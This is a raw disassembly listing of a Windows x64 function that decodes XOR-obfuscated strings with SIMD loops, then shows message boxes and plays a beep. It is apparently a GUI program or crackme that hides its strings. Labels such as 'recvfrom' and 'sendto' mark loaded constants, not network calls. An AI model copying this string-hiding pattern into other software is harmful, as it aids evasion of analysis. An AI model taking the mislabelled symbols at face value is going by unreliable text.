movsd qword [rbx + 0x94], xmm0
movups xmm3, xmmword [0x14019a2e8]
mov dword [rbp + 0x3e8], 0x43700000
mov dword [rbp + 0x3ec], 0x42200000
movups xmm0, xmmword [str._T_U_SYL]
movups xmmword [rbp + 0xd20], xmm0
movsd xmm0, qword [0x140165648]
movsd qword [rbp + 0xd30], xmm0
mov eax, dword [0x140165650]
mov dword [rbp + 0xd38], eax
cmp byte [0x140165653], 0
je 0x140097c30
mov r8d, r12d
cmp r15d, 2
jl 0x140097bef
movdqa xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xd24]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140097b00
cmp r8d, 0x1c
jge 0x140097c30
movsxd rax, r8d
lea r9, [rbp + 0xd20]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140097c00
movdqa xmmword [rbp - 0x80], xmm3
movups xmm0, xmmword [0x140167ff0]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019a7d8]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a7d0]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a7c8]
xor r8d, r8d
lea rdx, [rbp + 0x3e8]
lea rcx, [rbp + 0xd20]
call fcn.14003e940
test al, al
je 0x140098046
movsd xmm0, qword [0x140165698]
movsd qword [rbp + 0x648], xmm0
mov ecx, dword [0x1401656a0]
mov dword [rbp + 0x650], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x654], al
mov r8d, r12d
movdqa xmm3, xmmword [rbp - 0x50]
cmp r15d, 2
jl 0x140097e1b
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm3
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140165698]
xorps xmm1, xmm0
movd dword [rbp + 0x648], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64c]
xorps xmm2, xmm1
movd dword [rbp + 0x64c], xmm2
movdqa xmm2, xmmword [0x140167eb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x650], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x648]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140097e30
movups xmm0, xmmword [str.kaWAYTXRVMgehU_]
movups xmmword [rbp + 0x1180], xmm0
movups xmm1, xmmword [str.0_0.d66___9l:_q_5_w_1_5_1_]
movups xmmword [rbp + 0x1190], xmm1
movups xmm0, xmmword [0x140165678]
movups xmmword [rbp + 0x11a0], xmm0
movsd xmm0, qword [0x140165688]
movsd qword [rbp + 0x11b0], xmm0
movzx eax, word [0x140165690]
mov word [rbp + 0x11b8], ax
movzx eax, byte [0x140165692]
mov byte [rbp + 0x11ba], al
mov r8d, r12d
cmp r15d, 2
jl 0x140097fcf
movdqa xmmword [rsp + 0x50], xmm3
lea rcx, [rbp + 0x1184]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140097ee0
cmp r8d, 0x3b
jge 0x140098010
movsxd rax, r8d
lea r9, [rbp + 0x1180]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x140097fe0
mov r9d, 0x40
lea r8, [rbp + 0x648]
lea rdx, [rbp + 0x1180]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 0x3e8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.14006c2c0
call fcn.14006b780
movaps xmm1, xmm12
xorps xmm0, xmm0
call fcn.140025330
movups xmm3, xmmword [0x14019a2e8]
mov dword [rbp + 0x3f0], 0x43700000
mov dword [rbp + 0x3f4], 0x42200000
movups xmm2, xmmword [str.dT_C_GWEA]
movups xmmword [rbp + 0xbb0], xmm2
mov edx, dword [str._a_f6__F]
mov dword [rbp + 0xbc0], edx
movzx eax, word [0x1401656bc]
mov word [rbp + 0xbc4], ax
movzx eax, byte [0x1401656be]
mov byte [rbp + 0xbc6], al
mov r8d, r12d
movdqa xmm11, xmmword [rbp - 0x50]
cmp r15d, 2
jl 0x1400982d7
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm11
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xbb0], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbb4]
xorps xmm2, xmm1
movd dword [rbp + 0xbb4], xmm2
movdqa xmm6, xmmword [0x140167eb0]
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbb8]
xorps xmm2, xmm1
movd dword [rbp + 0xbb8], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbbc]
xorps xmm2, xmm1
movd dword [rbp + 0xbbc], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0xbc0], xmm2
mov r8d, reloc.WS2_32.dll_sendto
jmp 0x1400982df
movdqa xmm6, xmmword [0x140167eb0]
mov eax, r8d
lea r9, [rbp + 0xbb0]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x1400982f0
movdqa xmmword [rbp - 0x80], xmm3
movups xmm0, xmmword [0x140167ff0]
movdqa xmmword [rbp - 0x50], xmm0
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019a7f0]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a7e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a7e0]
xor r8d, r8d
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0xbb0]
call fcn.14003e940
test al, al
je 0x140098715
movsd xmm0, qword [0x140165710]
movsd qword [rbp + 0x658], xmm0
mov ecx, dword [0x140165718]
mov dword [rbp + 0x660], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x664], al
mov r8d, r12d
cmp r15d, 2
jl 0x140098501
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm11
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140165710]
xorps xmm1, xmm0
movd dword [rbp + 0x658], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x65c]
xorps xmm2, xmm1
movd dword [rbp + 0x65c], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x660], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x658]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140098510
movups xmm0, xmmword [str.keWDZDVJ_gehU_]
movups xmmword [rbp + 0x1290], xmm0
movups xmm1, xmmword [str.4__3751i9____q4_u]
movups xmmword [rbp + 0x12a0], xmm1
movups xmm0, xmmword [0x1401656e0]
movups xmmword [rbp + 0x12b0], xmm0
movups xmm1, xmmword [0x1401656f0]
movups xmmword [rbp + 0x12c0], xmm1
movsd xmm0, qword [0x140165700]
movsd qword [rbp + 0x12d0], xmm0
mov eax, dword [0x140165708]
mov dword [rbp + 0x12d8], eax
movzx eax, byte [0x14016570c]
mov byte [rbp + 0x12dc], al
mov r8d, r12d
cmp r15d, 2
jl 0x1400986af
movdqa xmmword [rsp + 0x50], xmm11
lea rcx, [rbp + 0x1294]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400985c0
cmp r8d, 0x4d
jge 0x1400986f0
movsxd rax, r8d
lea r9, [rbp + 0x1290]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x1400986c0
mov r9d, 0x40
lea r8, [rbp + 0x658]
lea rdx, [rbp + 0x1290]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
xor ecx, ecx
call fcn.14006ad50
mov dword [rbp + 0x3f8], 0x42480000
mov dword [rbp + 0x3fc], 0x43a00000
lea rcx, [rbp + 0x3f8]
call fcn.140025c50
movups xmm1, xmmword [0x140167ff0]
mov dword [rbp + 0x400], 0x43700000
mov dword [rbp + 0x404], 0x42200000
movsd xmm0, qword [str.tTWC]
movsd qword [rbp + 0x4f8], xmm0
movzx ecx, word [0x140165728]
mov word [rbp + 0x500], cx
movzx eax, byte [0x14016572a]
mov byte [rbp + 0x4f8], 0x44
xor byte [rbp + 0x4f9], 0x31
xor byte [rbp + 0x4fa], 0x32
xor byte [rbp + 0x4fb], 0x33
xor byte [rbp + 0x4fc], 0x34
xor byte [rbp + 0x4fd], 0x35
xor byte [rbp + 0x4fe], 0x36
xor byte [rbp + 0x4ff], 0x37
xor cl, 0x38
mov byte [rbp + 0x500], cl
xor byte [rbp + 0x501], 0x39
xor al, 0x3a
mov byte [rbp + 0x502], al
movups xmm0, xmmword [0x14019a2e8]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x50], xmm1
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019a820]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a818]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a810]
xor r8d, r8d
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x4f8]
call fcn.14003e940
test al, al
je 0x140098bb1
movsd xmm0, qword [0x140165770]
movsd qword [rbp + 0x668], xmm0
mov ecx, dword [0x140165778]
mov dword [rbp + 0x670], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x674], al
mov r8d, r12d
cmp r15d, 2
jl 0x1400989a6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm11
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140165770]
xorps xmm1, xmm0
movd dword [rbp + 0x668], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x66c]
xorps xmm2, xmm1
movd dword [rbp + 0x66c], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x670], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x668]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400989c0
movups xmm0, xmmword [str.kuWVD]
movups xmmword [rbp + 0x1200], xmm0
movups xmm1, xmmword [0x140165740]
movups xmmword [rbp + 0x1210], xmm1
movups xmm0, xmmword [0x140165750]
movups xmmword [rbp + 0x1220], xmm0
movsd xmm0, qword [0x140165760]
movsd qword [rbp + 0x1230], xmm0
mov eax, dword [0x140165768]
mov dword [rbp + 0x1238], eax
mov r8d, r12d
cmp r15d, 2
jl 0x140098b4f
movdqa xmmword [rsp + 0x50], xmm11
lea rcx, [rbp + 0x1204]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140098a60
cmp r8d, 0x3c
jge 0x140098b90
movsxd rax, r8d
lea r9, [rbp + 0x1200]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x140098b60
mov r9d, 0x40
lea r8, [rbp + 0x668]
lea rdx, [rbp + 0x1200]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140081430
movaps xmm1, xmm12
xorps xmm0, xmm0
call fcn.140025330
movups xmm3, xmmword [0x14019a2e8]
mov dword [rbp + 0x408], 0x43700000
mov dword [rbp + 0x40c], 0x42200000
movsd xmm0, qword [str.aD_P_]
movsd qword [rbp + 0x598], xmm0
mov ecx, dword [0x140165788]
mov dword [rbp + 0x5a0], ecx
cmp byte [0x14016578b], 0
je 0x140098d89
mov r8d, r12d
cmp r15d, 2
jl 0x140098d4d
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm11
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.aD_P_]
xorps xmm1, xmm0
movd dword [rbp + 0x598], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x59c]
xorps xmm2, xmm1
movd dword [rbp + 0x59c], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x5a0], xmm2
jmp 0x140098d89
lea r9, [rbp + 0x598]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140098d60
movdqa xmmword [rbp - 0x80], xmm3
movups xmm12, xmmword [0x140167ff0]
movdqa xmmword [rbp - 0x50], xmm12
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019a838]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a830]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a828]
xor r8d, r8d
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x598]
call fcn.14003e940
test al, al
je 0x140099161
movsd xmm0, qword [str.FZRUVLPUU_]
movsd qword [rbp + 0x5a8], xmm0
mov ecx, dword [0x1401657d0]
mov dword [rbp + 0x5b0], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x5b4], al
mov r8d, r12d
cmp r15d, 2
jl 0x140098f6c
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
